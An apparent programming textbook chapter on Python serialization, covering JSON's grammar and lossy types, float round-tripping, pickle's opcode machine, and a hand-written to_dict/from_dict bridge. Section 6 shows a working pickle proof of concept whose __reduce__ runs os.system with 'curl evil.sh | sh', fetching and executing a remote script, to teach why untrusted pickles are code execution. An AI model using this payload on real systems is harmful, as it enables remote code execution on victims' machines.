18Serialization — flattening the object graph

In Chapter 17 we watched a string dissolve into bytes: every character a code point, every code point a run of UTF-8 that the whole world can read back. Now we try the same trick on something far less cooperative — a live Song object, the kind you built back in Chapter 15, then closed the program on and lost. It's gone, the way a thought is gone the instant you stop thinking it. Your instinct says the fix is one line: write the object to a file. But there is no the object to write. What we've been calling an object is really a scattering of pointers into this one process's RAM, and RAM dies with the process. So here's the plan. We build the machine that survives that death. It walks the live object graph, flattens it into a self-contained ribbon of bytes, and rebuilds the same shape in a fresh process that shares none of the old addresses. Then we weigh the two great bargains that machine can strike. JSON keeps only what every language on Earth already agrees on. pickle keeps everything Python knows, including — alarmingly — the power to run code as it loads. The whole way through, one question keeps coming back: if an object is really just addresses, and addresses die with the process, what is there left to save? By the end we've built the answer: a hand-owned bridge that flattens a Song to bytes, ships it, and reloads it as a real Song on the far side, with every lossy seam labelled in code you can read. The one law under all of it: what crosses a process boundary is always bytes, never objects.

01Why you can't just write the object

Let's start with what looks like the easy version of the problem. You have a song. It's right there — you can print its title, ask for its artist, iterate its collaborators. It feels as solid as a rock on a desk. So the ask sounds trivial: take that rock, drop it in a file, and let tomorrow's program pick it up again. Try it, and Python slaps your hand: TypeError: a bytes-like object is required, not 'Song'. Don't read that as Python being fussy. Read it as Python telling you a deep truth about what a Song actually is. The moment you see it, serialization stops being a magic incantation you paste from Stack Overflow and becomes the one inevitable answer to a problem you can finally state precisely.

Here's the truth, and it's worth slowing right down for. When you wrote song = Song("Roar", artist), the name song did not become a Song. It became a pointer: a single machine word, 8 bytes on a 64-bit build, holding a virtual address like 0x7f9c001a20. That number only means something inside this process's private address space — the one the kernel wired up with mmap and brk, and that the MMU translates page-by-page into physical RAM frames. Follow the pointer and you land on a PyObject header: a reference count, plus ob_type, which is itself a pointer to the class object elsewhere on the heap. Then comes the instance's __dict__, which is yet another pointer to a dict living somewhere else again, whose values are more pointers — the title string at one address, the artist Song at a third, a list of collaborators at a fourth. So the rock you pictured is really a directed graph whose edges are raw memory addresses.

>>> song = Song("Roar", artist)
>>> hex(id(song))        # the object itself…
'0x7f9c001a20'
>>> hex(id(song.title))  # …its title lives somewhere else entirely
'0x7f9c0b3410'
>>> hex(id(song.artist)) # …and its artist somewhere else again
'0x7f9c0018e0'

Now the killer fact, the one that makes the whole problem inescapable: those addresses are process-local and non-deterministic. Modern kernels use ASLR — address-space layout randomization — to hand your heap a different base address on every launch, and the allocator gives out whatever frame happens to be free at that instant. Write the raw 8 bytes of song — the pointer 0x7f9c001a20 — to disk, quit, and reload tomorrow. That number now points at unmapped memory, or worse, at some unrelated data a fresh process happened to put there. Best case, a segfault. Worst case, silent garbage that looks almost right. And you cannot escape by writing the whole struct instead of the pointer, because the struct is full of interior pointers — ob_type, __dict__, every value — and every one of them is equally dead on the far side.

So what is the only move left? If the addresses are worthless outside this process, throw them away and keep what isn't local: the values and the structure. Walk every node reachable from the root, and emit a self-contained byte sequence that records what each leaf is and how the nodes nest — never where anything sits in memory. A fresh process reads that sequence, allocates brand-new objects at its own brand-new addresses, and re-wires new pointers into the same shape. That walk-and-emit is serialization; the inverse allocate-and-rewire is deserialization. This is exactly why you can memcpy an array of ints to disk and read it back — an int array is nothing but values, laid flat — but you can never do the same to an object graph, which is nothing but addresses.

So the byte stream must describe values and nesting, never addresses. The oldest, most universal grammar for doing exactly that is JSON — six value types and a state machine that walks them. Next: how that machine reads a byte at a time, and why it explodes on a stray comma. →

02JSON is a grammar a state machine parses

You have typed json.loads('{"a":1}') a hundred times and it just works — until the afternoon it throws json.decoder.JSONDecodeError: Expecting ',' delimiter: line 1 column 14 (char 13) and you have no model for why. If JSON is a mysterious blob format, that error is a coin flip and every fix is a guess. But JSON is not mysterious. It is a tiny, formally specified grammar — ECMA-404, RFC 8259 — and once you can watch the machine that walks it, you can predict to the exact character what will parse and what will fail.

The grammar has exactly six value types and no more: object, array, string, number, the literals true/false, and null. It is recursive: a value may be an object whose values are themselves values, so nesting is unbounded — but the rules are finite and fixed. That combination, unbounded nesting under finite rules, is exactly what a pushdown automaton handles: a state machine plus a stack. The parser reads bytes strictly left to right. Its current state says which tokens are legal next. Its stack remembers how deep it is nested, so it can tell whether a closing brace shuts the container it actually opened. That stack is why it is pushdown and not merely a flat state machine: matching brackets is impossible without one.

CPython's json module drives this with a C scanner, _json.scanner, that recognizes each value by its first byte: a { begins an object, [ an array, a " a string, t/f/n a literal, and a digit or - a number. Strings need no length prefix — they are self-delimiting. They open with ", close at the next unescaped ", and use \ to introduce escapes like \n or \uXXXX. Watch the machine walk a real string, state by state:

# input:  { "a" : 1 }
{   push object onto stack   state → EXPECT-KEY-OR-CLOSE
"a" read string key         state → EXPECT-COLON
:   consume colon           state → EXPECT-VALUE
1   read number token       state → EXPECT-COMMA-OR-CLOSE
}   pop object off stack    stack empty → DONE

Now the errors write themselves. There is no trailing-comma rule, no comments, no single quotes, and keys must be double-quoted strings — not because someone forbade them, but because the grammar simply has no production for them. Feed the machine {"a":1,} and after the comma it enters EXPECT-KEY, then sees }, a state with no legal transition on that byte. It cannot continue, so it raises JSONDecodeError and, crucially, reports the exact byte offset where the transition failed. So read column 14 not as noise but as a sentence: "the automaton was in state EXPECT-COMMA-OR-CLOSE and the byte at position 13 was not a comma or a brace." Suddenly the cryptic message is a precise diagnosis.

And serialization — json.dumps — is simply this machine run in reverse: a recursive walk down the Python object that emits the grammar as it descends. It prints a {, then each "key":, recurses into each value, weaves , between siblings, and closes with }. Encode and decode are the same grammar read in two directions: one writes the string, one checks it.

The machine is exact — but it only knows six types. Your Python has hundreds. What happens when a tuple, a set, or a datetime tries to cross a border that has no room for it? Next: the lossy projection from Python's universe down onto JSON's six. →

03JSON's value model is smaller than Python's

You round-trip a Song through JSON and get a bug that never crashes. The tuple of genres came back a list. A dict you had keyed by (row, col) tuples refuses to encode at all. The set of tags is simply gone. Nothing threw a loud error at the moment that mattered — the data just quietly changed shape under you. To stop being ambushed by this, you need to internalize one fact and let it reshape how you think about the boundary: JSON's universe has only six types, so everything richer in Python must be projected down onto them, and that projection is lossy by design, not by accident.

Python's type system is vastly larger than JSON's six, so the encoder maps many-to-few, and mapping many onto few must destroy information. Three concrete collisions matter most. First, tuple and list both become the JSON array. The array has no concept of immutability, so json.loads(json.dumps((1, 2))) hands you back [1, 2]. The tuple-ness is gone, because the grammar has exactly one sequence type and both Python sequences fold into it. Second, object keys must be strings. At the grammar level a JSON key is a string, with no other option. So json.dumps quietly coerces int, float, bool, and None keys to their string form, and flatly refuses tuple keys:

>>> import json
>>> json.dumps({1: "a", True: "b"})   # int and bool keys…
'{"1": "a", "true": "b"}'          # …silently become strings
>>> json.dumps({(0, 0): "origin"})    # a tuple key has no string form
TypeError: keys must be str, int, float, bool or None, not tuple

Third, and most sharply: set, frozenset, bytes, bytearray, complex, Decimal, datetime, and every class you ever wrote have no JSON type at all. There is nothing to project onto. When the C encoder walks your object and reaches a value whose type isn't in its small known-type table, it calls the default hook — and the built-in default does exactly one thing: it raises. That is where the message you'll see a thousand times comes from, TypeError: Object of type set is not JSON serializable. The encoder isn't being lazy. It is being honest that no correct answer exists in the target grammar.

Why would anyone design a format this small? Because smallness is the feature. JSON exists to cross language boundaries — from a Python service to a Go service to a browser's JavaScript to a Postgres jsonb column — and the only types it dares include are the ones every one of those languages already agrees on. A Python set, a Ruby Symbol, or a Go chan has no counterpart in the others, so JSON refuses to pretend it does. The lowest common denominator is the whole point.

The consequence lands squarely on you: anything outside the six types is your responsibility to encode, and there is no automatic right answer because the target type genuinely does not exist on the far side. A set could become a sorted list, or a list plus a "__set__" marker, or something else. You pick the projection, and you own the inverse. The encoder gives you a hook to do it: json.dumps(value, default=fn) calls your fn on every object it doesn't recognize, and whatever JSON-safe value you return gets encoded in its place.

Even inside the six safe types, one hides a trap. A JSON number looks like a plain decimal, but under it sits a 64-bit float — and floats cannot represent 0.1. Next: the IEEE-754 wrinkle that quietly loses a penny across a service boundary. →

04The float wrinkle: IEEE-754 doesn't round-trip decimals

You store a price of 0.1, serialize it, ship it to a Go service, and the nightly reconciliation flags a penny of drift. You did not write a bug. You re-read your logic ten times and it is correct. What you hit is not in your code at all — it is in the silicon. 0.1 is not representable in binary, and a JSON number inherits every quirk of the IEEE-754 double it rides on. If you keep believing floats are decimals, money code and cross-language pipelines will betray you in ways no amount of staring at your source will ever explain.

A Python float is a C double: 64 bits, laid out by IEEE-754 as 1 sign bit, 11 exponent bits, and 52 fraction bits, encoding the value ±(1.fraction) × 2(exponent−1023). The fraction is binary — a sum of 1/2, 1/4, 1/8, … Decimal 0.1 is 1/10, and just as 1/3 has no finite decimal expansion, 1/10 has no finite binary one. So the machine cannot store 0.1. It stores the nearest representable double instead, which is not 0.1 but:

>>> from decimal import Decimal
>>> Decimal(0.1)      # the EXACT value the bits hold
Decimal('0.1000000000000000055511151231257827021181583404541015625')
>>> 0.1 + 0.2
0.30000000000000004       # the nearest double to the SUM, not 0.3
>>> 0.1 + 0.2 == 0.3
False

That rounding error is baked into the bits before serialization ever runs. So why, when you json.dumps(0.1), do you see a clean 0.1 and not the 55-digit tail? Because since Python 3.1, repr of a float uses a shortest-round-trip algorithm (David Gay's, later Grisu/Ryū-style). It emits the shortest decimal string that, when parsed back to the nearest double, reproduces the exact same bits. 0.1 is the shortest string that lands back on that particular double, so 0.1 is what you get. That's elegant, but quietly dangerous, because of what "round-trips" actually promises.

The promise is narrow: double → string → double, within IEEE-754. It guarantees that your own Python reading your own Python's output lands on the identical double. It says nothing about the true mathematical value 1/10, and it breaks the moment the far end doesn't share the exact same rules. A language that prints a fixed 17 digits, or reads into a 32-bit float, or parses into a decimal type, can land on a different value from the same text. Arithmetic makes it worse: 0.1 + 0.2 serializes as 0.30000000000000004, because that string is the shortest one identifying the nearest double to the sum. The error was there before dumps was ever called; serialization only revealed it.

When you truly need exact decimals — and finance always does — reach for decimal.Decimal, which stores digits in base ten and has no binary rounding. Serialize it as a string so JSON's number grammar never re-floats it. Note the difference between Decimal(0.1) and Decimal("0.1"): the first copies the float's error in, while the second is exactly one-tenth. Feed Decimal the string, not the float, and the drift disappears.

JSON keeps only what every language shares, and pays for it in tuples, sets, cycles, and drift. What if you want a format that keeps everything Python knows — shared references, cycles, real classes, sets that stay sets? That is pickle, and it isn't text at all. Next: a program for a tiny stack machine. →

05pickle serializes the real graph, cycles and all

JSON made you hand-flatten every object and then choked anyway — on sets, on cycles, on the fact that two Songs share one artist. You want the opposite tool: one that captures Python's actual object graph, identity and all, and hands it back byte-for-byte on the far side. That tool is pickle. To trust it now — and to fear it in the very next section — you need to see what it really is. It is not text, not a document, not JSON with more types. A pickle is a program for a tiny stack-based virtual machine, and unpickling is that program executing.

A pickle is a stream of opcodes. Each one pushes or pops values on a stack and gradually builds objects, and the Unpickler is the interpreter that runs them. A protocol-2+ stream opens with PROTO 2, then comes instructions like EMPTY_DICT (push a fresh dict), BININT (push an int), SHORT_BINUNICODE (push a string), SETITEMS (pop key/value pairs into the dict beneath them), and finally STOP (pop the finished object as the result). You can print the whole program with pickletools.dis and read it like assembly:

>>> import pickle, pickletools
>>> pickletools.dis(pickle.dumps({"a": 1}))
    0: \x80 PROTO      4
    2: }    EMPTY_DICT
    3: \x94 MEMOIZE    (as 0)      # ← record this object in slot 0
    4: \x8c SHORT_BINUNICODE 'a'
    7: \x94 MEMOIZE    (as 1)
    8: K    BININT1    1
   10: s    SETITEM
   11: .    STOP

The thing JSON could never match lives in one word above: MEMOIZE. The pickler keeps a memo — a dict mapping each object's id() to the memo slot where it was first built. It walks the graph in a recursive descent from the root. The first time it meets an object, it serializes it fully and emits a MEMOIZE to record it. If it ever meets that same object again — same identity, same id() — it does not re-serialize it. Instead it emits a GET opcode that just says "push whatever is in slot N." That single mechanism buys two things JSON structurally cannot.

First, shared references survive. Two Songs pointing at one Artist pickle the Artist once. Both Songs get a GET to the same slot, so after unpickling a.artist is b.artist is still True — the address fact from section 1, preserved. Second, and more remarkably, cycles terminate. A list that contains itself is memoized before its contents are pickled, so when the walk reaches the self-reference it emits a GET pointing back at the not-yet-finished object. The unpickler builds incrementally and memoizes as it goes, so it wires that pointer back into the same under-construction list. No infinite recursion, just a loop rebuilt exactly.

>>> a = Song("Roar", artist); b = Song("Dark Horse", artist)
>>> na, nb = pickle.loads(pickle.dumps((a, b)))
>>> na.artist is nb.artist       # sharing preserved — one artist, not two
True
>>> L = []; L.append(L)          # a list containing itself
>>> L2 = pickle.loads(pickle.dumps(L))
>>> L2[0] is L2             # the cycle came back intact
True

pickle also captures type, which JSON discards entirely. It stores a reference to the class by module and qualified name (via the GLOBAL/STACK_GLOBAL opcodes), then reconstructs an instance by allocating it and restoring its __dict__ — or, for objects that customize it, by calling __reduce__ and __setstate__. So a set comes back a set, a tuple stays a tuple, bytes stay bytes, and your own Song comes back a real Song, not a bare dict.

Notice the quiet phrase two sections back — "unpickling is that program executing." A program that can build any object can build one whose construction runs a shell command. Next: why pickle.loads on untrusted bytes is remote code execution, stated from the mechanism, not from fear. →

06Unpickling is code execution

pickle looks like the perfect save format — total fidelity, one line to write, one to read. And you will be tempted. You'll want to pickle a cache and reload it from Redis, accept a pickled payload over a socket, or restore a pickled session from a file a user uploaded. Before you do any of that in production, this section installs one hard, first-principles rule, and it earns that rule from the machine rather than from paranoia: unpickling bytes you did not create is remote code execution. Not "risky." Not "a smell." The literal thing.

Recall what the last section proved: unpickling is a program running on the pickle VM. And that VM has an opcode whose entire job is to call an arbitrary Python callable. It comes from the reconstruction protocol. When the pickler needs to serialize an object, it asks the object (or its type) for a reduce value via __reduce__ — conventionally a tuple (callable, args) that means "to rebuild me, call callable(*args)." For a normal class that's something benign like (copyreg._reconstructor, (Song, object, None)). The unpickler obeys literally: the REDUCE opcode pops a callable and an argument tuple off the stack and invokes the callable. The callable itself is named in the stream by module and qualname, and resolved at load time by GLOBAL/STACK_GLOBAL, which is effectively import module; getattr(module, name).

Nothing anywhere restricts that callable to a harmless constructor. A malicious object can define __reduce__ to return any callable and any arguments, and the unpickler will faithfully run it:

import pickle, os

class Exploit:
    def __reduce__(self):
        # "to rebuild me, call os.system('...')"
        return (os.system, ("echo pwned; curl evil.sh | sh",))

payload = pickle.dumps(Exploit())
# ...anywhere this payload is later loaded:
pickle.loads(payload)   # runs os.system BEFORE you inspect anything

When the victim calls pickle.loads(payload), the REDUCE opcode calls os.system with the attacker's string — on the victim's machine, with the victim's privileges, before a single field of the "data" is ever examined. Swap os.system for subprocess.Popen, or eval, or __import__, and the shape is identical. There is no sandbox: the C unpickler resolves globals against the real, fully-powered interpreter. That is why the official docs carry a rare blunt warning box, and why "pickle deserialization" is a whole CVE category rather than a style nit.

Here is the payoff, and it is the deepest idea in the chapter: the rule follows from the mechanism. A format whose deserializer can call any callable is, by definition, a code-execution format. So the correct statement is not "be careful with pickle." It is "never unpickle bytes you did not produce and cannot cryptographically prove you produced." Mitigations are only partial. You can subclass Unpickler and override find_class to allow-list a handful of safe globals, but allow-listing is easy to get subtly wrong, and a single overlooked callable reopens the door. You can HMAC-sign your own pickles to prove provenance, which is good practice, but it only helps for a trust boundary you control on both ends.

And now section 3's "limitation" reveals itself as a security guarantee. JSON's parser is a pure pushdown automaton: it pushes brackets, reads strings, builds dicts and lists, and that is the entire instruction set. It has no opcode that can call your code, because it has no notion of your code at all. The smaller value model you resented in section 3 is exactly what makes json.loads safe on hostile input: it can produce a wrong dict, never a running process. Safety and expressiveness are the two ends of the same bargain.

So: pickle is out across any boundary you don't fully own, and JSON refuses your Song outright. You need a durable, safe, human-readable, cross-language way to store your own classes. Next: the dict-bridge — a projection you write, control, and can see every lossy decision inside. →

07The dict-bridge for your own classes

You've rejected pickle across any trust boundary and embraced JSON's safety, but JSON refuses your Song outright. A user-defined instance's state lives in __dict__ as arbitrary Python objects (a nested Song, a set, a datetime) that JSON's six types don't cover, and its type identity — the class itself — isn't part of JSON at all. So you need a durable, safe, human-readable, cross-language way to persist your own objects. The answer is the pattern the whole capstone leans on, and it is deliberately hand-written: a to_dict/from_dict bridge you own, so nothing is quietly lost and every field's projection is a decision you can see.

to_dict walks the instance's fields and projects each one down onto the JSON value model. Strings, ints, floats, bools, and None pass straight through. A nested Song calls its own to_dict, so the recursion mirrors the object graph exactly — the same recursive descent the pickler and the JSON encoder both do. A set becomes a sorted list, a datetime becomes an ISO-8601 string, and bytes become base64. The result is a plain dict whose every leaf is one of the six safe types, so json.dumps now succeeds, because there is nothing left it doesn't recognize.

from datetime import datetime

class Song:
    def __init__(self, title, artist, tags, released):
        self.title = title            # str  — JSON-safe
        self.artist = artist          # Song — nested, recurse
        self.tags = tags              # set  — no JSON type
        self.released = released       # datetime — no JSON type

    def to_dict(self):
        return {
            "version": 1,
            "title": self.title,
            "artist": self.artist.to_dict(),          # recursion mirrors the graph
            "tags": sorted(self.tags),                 # lossy on purpose: set → ordered list
            "released": self.released.isoformat(),      # datetime → ISO string
        }

    @classmethod
    def from_dict(cls, d):
        return cls(                                   # calls YOUR constructor — invariants run
            title=d["title"],
            artist=Song.from_dict(d["artist"]),        # inverse recursion
            tags=set(d["tags"]),                     # list → set, restored
            released=datetime.fromisoformat(d["released"]),
        )

from_dict is the exact inverse, and it is a classmethod for a reason: it allocates a fresh instance by calling the real constructor, so __init__'s invariants run and you get a genuine Song, not a bare dict wearing a Song's data. It re-establishes type, the thing JSON threw away. And it does so safely in the exact way pickle is not: from_dict calls only the constructors you named in your code, never an arbitrary callable pulled from the byte stream. A hostile JSON file can, at worst, hand you a wrong-but-typed Song. It can never execute code, because there is no opcode in the JSON grammar to execute and no REDUCE in your bridge to obey it.

The bridge is also honest about loss, which is the whole point of writing it by hand. Because you author the projection, tuple-versus-list, set ordering, and datetime precision are visible choices in your code rather than silent surprises the encoder made for you. If sorting the tags loses their original order, that loss is right there in sorted() where a reviewer can see it, not buried in a round-trip three modules away. This is the "no silent simplification" rule made concrete: every lossy step is labelled at the site where it happens.

This convention scales. Give every serializable class the same to_dict/from_dict pair, let nested objects recurse into each other, and stamp a version, and you have a store that survives process death (section 1's wall), crosses language boundaries (JSON's whole reason to be small, section 3), never mis-handles a float you didn't guard (section 4), and never trusts bytes to run code (section 6). It is strictly more work than pickle.dumps, and that work is the safety and the durability. This is exactly what the capstone uses to save and reload its library between runs.

You now hold the whole machine: flatten the graph to values and structure, choose your bargain — universal-and-safe or Python-complete-and-dangerous — and own every lossy seam. The next chapter carries this across a different border: not disk, but the wire, where bytes cross between machines that share nothing at all. →